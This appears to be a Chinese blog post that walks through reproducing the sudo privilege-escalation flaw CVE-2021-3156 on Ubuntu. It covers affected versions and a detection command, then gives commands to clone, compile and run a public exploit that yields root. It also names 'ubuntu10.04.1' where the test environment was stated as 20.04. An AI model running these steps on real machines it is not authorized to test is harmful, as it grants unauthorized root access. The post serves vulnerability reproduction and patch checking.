Linux sudo 提权漏洞 CVE-2021-3156 复现 附exp

0x01 CVE-2021-3156: 缓冲区溢出漏洞

在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。

0x02 影响版本

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

不受影响版本

Sudo =>1.9.5p2

0x03 漏洞检测

测试环境:ubuntu:20.04

检测是否存在

sudoedit -s /

如下以sudoedit:开头报错则存在此漏洞

Linux sudo 提权漏洞 CVE-2021-3156 复现 附exp_第1张图片

如果响应一个以usage:开头的报错,那么表明补丁已经生效

0x04 漏洞复现exp

当前用户为普通用户

Linux sudo 提权漏洞 CVE-2021-3156 复现 附exp_第2张图片

下载EXP

git clone https://github.com/blasty/CVE-2021-3156.git

进入编译一下

$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
$ ls
Makefile  README.md  brute.sh  hax.c  lib.c  libnss_X  sudo-hax-me-a-sandwich

Linux sudo 提权漏洞 CVE-2021-3156 复现 附exp_第3张图片

执行EXP,要选择系统

./sudo-hax-me-a-sandwich

Linux sudo 提权漏洞 CVE-2021-3156 复现 附exp_第4张图片

最终执行(因为是 ubuntu10.04.1)

./sudo-hax-me-a-sandwich 1

Linux sudo 提权漏洞 CVE-2021-3156 复现 附exp_第5张图片

提权成功

exp地址
https://github.com/blasty/CVE-2021-3156.git

你可能感兴趣的:(内网安全研究,WEB,漏洞复现和分析)